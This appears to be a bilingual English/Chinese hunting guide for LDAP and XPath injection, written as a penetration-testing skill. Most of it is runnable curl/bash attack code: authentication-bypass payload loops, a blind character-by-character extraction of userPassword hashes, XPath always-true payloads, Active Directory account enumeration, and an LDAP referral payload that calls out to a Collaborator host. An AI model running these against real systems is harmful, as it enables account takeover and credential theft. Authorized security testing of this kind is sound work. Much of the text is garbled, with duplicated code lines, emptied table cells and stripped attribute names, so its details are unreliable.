hunt-ldap
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-LDAP — LDAP Injection & XPath Injection
HUNT-LDAP — LDAP 注入与 XPath 注入
Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.
基础说明:LDAP 注入很少在公开平台上以原样 payload 披露(大多存在于内部渗透测试报告中)。本 skill 以 OWASP LDAP Injection Prevention / Testing Guide(WSTG-INPV-06)、PortSwigger Web Security Academy(LDAP injection) 和 RFC 4515 过滤器语法为依据——这些都是可公开验证的参考资料,而不是虚构的 HackerOne ID。不要引用无法提供链接的报告。
Crown Jewel Targets
核心高价值目标
LDAP injection that bypasses authentication = Critical. Blind attribute
exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
- LDAP auth bypass — close the filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
uid - Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
- userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
attribute can hold
userPassword/{SSHA}hashes that ARE readable by query. See the AD-vs-generic warning below.{CRYPT} - XPath injection auth bypass — against XML-backed auth.
' or '1'='1
LDAP 注入绕过身份验证 = Critical。通过盲注外泄凭据/机密 = High。仅进行 AD 枚举 = Medium-High。
价值最高的攻击链:
- LDAP 身份验证绕过 — 闭合 过滤器并追加一个恒为真的 OR,使 bind/search 无需有效密码即可返回 admin 条目。
uid - 盲注属性外泄 — 通过布尔 oracle(登录成功/失败、结果数量或响应长度)逐字符提取属性值。
- userPassword 哈希外泄(仅限非 AD) — 在 OpenLDAP/389-DS 上,属性可能保存可通过查询读取的
userPassword/{SSHA}哈希。请参阅下方关于 AD 与通用 LDAP 的警告。{CRYPT} - XPath 注入身份验证绕过 — 对基于 XML 的身份验证使用 。
' or '1'='1
CRITICAL — Active Directory vs generic LDAP
关键——Active Directory 与通用 LDAP
Do not conflate the two. They behave very differently:
| Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory | |
|---|---|---|
| Password attribute | | |
| Hash exfil via injection | Possible where ACLs leak | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | | |
Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not. is write-only. Against AD, the win is enumeration
(, , / fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing .
unicodePwdsAMAccountNamememberOfdescriptioninfouserPassword不要将二者混为一谈。它们的行为存在显著差异:
| 通用 LDAP(OpenLDAP、389-DS、ApacheDS) | Active Directory | |
|---|---|---|
| 密码属性 | | |
| 通过注入外泄哈希 | 在 ACL 泄漏 | 不可行 — LDAP 上没有可读取的哈希属性 |
| 有用的枚举属性 | | |
不要告诉读者盲式 LDAP 注入能够得到 AD 密码哈希——事实并非如此。 是只写属性。针对 AD,攻击收益来自枚举(、、/ 字段,管理员经常误将其用于存储密码)以及身份验证绕过,而不是哈希转储。哈希外泄技术仅适用于暴露 的非 AD 目录。
unicodePwdsAMAccountNamememberOfdescriptioninfouserPasswordAttack Surface Signals
攻击面信号
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWNCorporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWNLDAP filter grammar (RFC 4515) — why injection works
LDAP 过滤器语法(RFC 4515)——注入为何可行
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))&|!(uid=...)登录过滤器通常通过字符串拼接构建:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))&|!(uid=...)The special-character set — TEST EACH ONE
特殊字符集——逐个测试
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|---|---|---|
| | wildcard — matches any value |
| | opens a filter group |
| | closes a filter group |
| | escape char itself |
| NUL | | string terminator — truncates filter in C-backed servers |
| (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
- Search-filter injection (most common): your input lands inside a
filter. Payloads use
(attr=VALUE).* ( ) & | ! - DN injection: your input is concatenated into a Distinguished Name
(). Here
uid=VALUE,ou=people,dc=corp,=+"\<>and;matter, and a/is NOT a wildcard. Test both — the payloads do not transfer.*
这些字符在语法上有特殊含义,安全应用必须将其转义(RFC 4515 §3)。如果应用返回错误,或在发送未转义字符时行为发生变化,则说明输入未被转义 → 可注入:
| 字符 | 过滤器转义 | 重要性 |
|---|---|---|
| | 通配符 — 匹配任意值 |
| | 开启过滤器组 |
| | 关闭过滤器组 |
| | 转义字符本身 |
| NUL | | 字符串终止符 — 在 C 后端服务器中截断过滤器 |
| (DN 上下文) | RDN 分隔符 — 与 DN 注入有关 |
搜索过滤器上下文与 DN 注入是不同的漏洞:
- 搜索过滤器注入(最常见):输入进入 过滤器。Payload 使用
(attr=VALUE)。* ( ) & | ! - DN 注入:输入被拼接进 Distinguished Name()。这里
uid=VALUE,ou=people,dc=corp,=+"\<>和;很重要,而/不是通配符。两者都应测试——payload 不能直接互换。*
Step-by-Step Hunting Methodology
分步猎取方法论
Phase 1 — Confirm an LDAP backend (baseline first)
阶段 1——确认 LDAP 后端(先建立基线)
bash
undefinedbash
undefinedALWAYS capture a control response first — you compare everything to this.
ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"
-X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"validlookinguser","password":"wrongpass"}') echo "BASELINE (valid-format, wrong pw): $BASE"
Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
An INJECTABLE app → 500 / filter-syntax error / different size.
An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
A lone `)` that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
-H "Content-Type: application/json"
-d '{"username":"test)","password":"x"}' | grep -iE
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
单独发送一个不平衡的右括号。安全的(会转义的)应用 → 与基线相同。可注入的应用 → 出现 500 / 过滤器语法错误 / 大小不同。
一个孤立的 `)` 若会产生语法错误/500,而平衡 payload 不会,则是最清晰的 LDAP 注入迹象——记录下来,报告时需要它作为证据。Phase 2 — Auth-bypass payloads (balance your parentheses)
阶段 2——身份验证绕过 payload(保持括号平衡)
bash
undefinedbash
undefinedTarget filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
Goal: make the uid sub-filter always-true and neutralise the password clause.
Goal: make the uid sub-filter always-true and neutralise the password clause.
Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
username = )(uid=))(|(uid=* password = anything
username = )(uid=))(|(uid=* password = anything
Always-true admin (OR uid=*):
Always-true admin (OR uid=*):
username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
NUL-truncate the password clause (C-backed servers):
NUL-truncate the password clause (C-backed servers):
username = admin)(uid=*))%00 password = x
username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=' # close uid + close &, open OR uid= — balance check below
')(uid=))(|(uid=' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done
**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
full filter, not just your payload. If the app appends `)(userPassword=...))`
after your input, leave the right number of trailing `)` so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).USERNAME_PAYLOADS=(
'admin))(|(uid=' # close uid + close &, open OR uid= — balance check below
')(uid=))(|(uid=' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done
-H "Content-Type: application/json"
-d "{"username":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),"password":"anything"}") echo "PAYLOAD: $P" echo "RESP: ${R: -40}" echo "BASE: $BASE <-- compare http_code+size to rule out false positive" echo "---" done
**括号平衡经验法则:** 计算*最终完整过滤器*中 `(` 减 `)` 的数量,而不只是 payload 中的数量。如果应用在你的输入后追加 `)(userPassword=...))`,请在末尾留下正确数量的 `)`,使最终字符串保持平衡。过滤器不平衡 = 语法错误 = 不是绕过(误报)。Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
阶段 3——使用受控 oracle进行盲注外泄(不要使用原始字节数差异)
Raw diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the response, not the absolute size.
size_downloadbash
undefined原始 差异容易受到噪声影响(WAF banner、CSRF token、时间戳,以及注入字符自身造成的长度抖动)。使用成对的 true/false 对照,使 oracle 依据响应而非绝对大小进行判定。
size_downloadbash
undefinedOracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
TRUE : admin)(uid=))(|(uid= -> entry exists
TRUE : admin)(uid=))(|(uid= -> entry exists
FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
-H "Content-Type: application/json"
-d "{"username":"$1","password":"x"}" } T=$(probe 'admin)(uid=))(|(uid=') F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ') echo "TRUE-class size=$T FALSE-class size=$F" [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}))(|(uid=")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
False-positive guards for blind exfil:
- **Repeat each positive char 3x** and confirm the size is stable — length-jitter
from the attacker-controlled char itself is the #1 false positive.
- Confirm the **FALSE control still returns the FALSE size** after each round (the
app didn't just start erroring on every request — WAF block looks like a match).
- If body length is unreliable, switch the oracle to **HTTP status**, a **body
marker string** (`"Invalid credentials"` present/absent), or **timing** with a
heavy filter — but only after establishing a stable baseline delta.PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}))(|(uid=")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
盲注外泄的误报防护:
- **将每个正向字符重复 3 次**并确认大小稳定——攻击者控制的字符自身造成的长度抖动是首要误报来源。
- 每轮之后确认 **FALSE 对照仍返回 FALSE 大小**——应用并非开始对每个请求都报错;WAF 拦截看起来也可能与匹配结果相同。
- 如果正文长度不可靠,可将 oracle 切换为 **HTTP 状态码**、**正文标记字符串**(存在/不存在 `"Invalid credentials"`)或使用**重型过滤器进行计时**——但必须先建立稳定的基线差异。Phase 4 — XPath injection (XML-backed auth)
阶段 4——XPath 注入(基于 XML 的身份验证)
bash
undefinedbash
undefinedNormal: //users/user[name/text()='ADMIN' and password/text()='PASS']
Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
Bypass closes the name predicate and OR-trues the whole expression.
Bypass closes the name predicate and OR-true the whole expression.
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done
--data-urlencode "username=$P" --data-urlencode "password=x") echo "$P -> ${R: -24}" done
XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
undefined
XPath **没有**注释语法——必须保持引号/括号平衡,这与 SQLi 不同。Phase 5 — AD enumeration via wildcard (count oracle, with control)
阶段 5——通过通配符进行 AD 枚举(计数 oracle,配合对照)
bash
undefinedbash
undefinedEstablish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
A directory that returns the SAME count for both is NOT leaking via wildcard.
A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
count () { curl -s -X POST https://$TARGET/api/directory/search
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
-H "Content-Type: application/json" -d "{"filter":"(sAMAccountName=$1*)"}"
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; } CTRL=$(count "zzqx_unlikely") echo "control count (should be ~0): $CTRL" for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
Then pivot to memberOf / description for privileged accounts:
Then pivot to memberOf / description for privileged accounts:
(&(sAMAccountName=*)(memberOf=Domain Admins))
(&(sAMAccountName=*)(memberOf=Domain Admins))
(description=pw) (description=pass) — admins stash secrets here
(description=pw) (description=pass) — admins stash secrets here
undefinedundefinedPhase 6 — Tooling & OOB confirmation
阶段 6——工具与 OOB 确认
bash
undefinedbash
undefinedValidate the inferred filter directly if you ever get LDAP creds / a bind:
Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\user" -w "$PW"
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
ldapsearch -x -H ldap://$AD_HOST -D "CORP\user" -w "$PW"
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
Burp: Intruder over the char set for blind exfil; the Web Security Academy
Burp: Intruder over the char set for blind exfil; the Web Security Academy
"Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
"Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
inject a referral/URL the server dereferences, point it at Collaborator:
inject a referral/URL the server dereferences, point it at Collaborator:
(uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
(uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
is server-side proof with zero ambiguity. Treat any Collaborator interaction
is server-side proof with zero ambiguity. Treat any Collaborator interaction
as the gold-standard confirmation for otherwise-blind cases.
as the gold-standard confirmation for otherwise-blind cases.
---
---Chain Table
攻击链表
| LDAP finding | Chain to | Impact |
|---|---|---|
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
AD enumeration ( | Username list → password spray / credential stuffing | Mass-ATO risk |
| Identify Domain Admins → targeted phishing/spray | Targeted compromise |
| Plaintext creds admins stashed there | Direct credential leak |
Blind exfil of | | High |
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from/descriptionmisuse or from enumerated usernames feeding a spray, never frominfo.unicodePwd
| LDAP 发现 | 可衔接至 | 影响 |
|---|---|---|
| 身份验证绕过(恒为真的过滤器) | 以首个目录条目进入 Admin/SSO 面板 | Critical |
AD 枚举( | 用户名列表 → 密码喷洒 / 凭据填充 | 大规模 ATO 风险 |
| 识别 Domain Admins → 定向钓鱼/喷洒 | 定向入侵风险 |
读取 | 管理员存放在其中的明文凭据 | 直接凭据泄漏 |
盲注外泄 | | High |
| LDAP referral → Collaborator | 服务端请求/内部目录访问 | SSRF 类问题,可确认盲注 |
AD 没有可读取的密码属性——不要将“提取 AD 哈希”列为攻击链。针对 AD,凭据收益来自/description的误用,或来自枚举出的用户名用于密码喷洒,绝不会来自info。unicodePwd
Validation — rule out the false positive BEFORE you report
验证——报告前排除误报
A "bypass" or "match" is only real once you have eliminated syntax-error,
WAF-block, and length-jitter explanations.
- Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
- Negative control: an equivalently-shaped but logically-FALSE payload
() returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection.
)(uid=NONEXISTENT_ZZZ) - Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
- XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
- OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
- AD claim discipline: if you say "AD", you enumerated AD-specific attrs
(/
sAMAccountName); never claim AD hash exfil.memberOf
Severity:
- Auth bypass landing as admin/privileged directory entry: Critical
- hash exfil (non-AD) or
userPassword-field credential read: Highdescription - AD user/group enumeration only: Medium-High
- Blind boolean oracle confirmed but no useful attribute reachable: Medium
只有排除了语法错误、WAF 拦截和长度抖动等解释后,“绕过”或“匹配”才算真实。
- 身份验证绕过: 恒为真的 payload 返回有效的已认证会话(会话 cookie + 可访问登录后资源),并且从同一请求中删除一个括号后会返回过滤器语法错误——这证明过滤器已被解析并执行,而不是应用对所有输入都直接放行。
- 负向对照: 结构等价但逻辑上为 FALSE 的 payload()返回失败响应。如果 true-class 和 false-class 都“成功”,说明发现的是一个行为异常的端点,而不是 LDAP 注入。
)(uid=NONEXISTENT_ZZZ) - 盲注外泄: 每个恢复出的字符均能复现 3 次且大小稳定;FALSE 对照在各轮之间仍读取为 FALSE;恢复出的值通过直接查询或使用该值的身份验证绕过 payload 得以验证。
- XPath: 引号/括号保持平衡(无 500),且绕过操作登录到了真实账户上下文——不只是进入了不同的错误页面。
- 尽可能进行 OOB: referral payload 触发 Collaborator DNS/LDAP 交互,可为盲注提供决定性证据——应优先于仅依据长度推断。
- AD 声明纪律: 如果声称目标是“AD”,则必须已枚举 AD 专属属性(/
sAMAccountName);绝不能声称能够外泄 AD 哈希。memberOf
严重性:
- 以 admin/高权限目录条目身份完成身份验证绕过:Critical
- 哈希外泄(非 AD)或读取
userPassword字段中的凭据:Highdescription - 仅枚举 AD 用户/组:Medium-High
- 已确认盲式布尔 oracle,但无法访问有用属性:Medium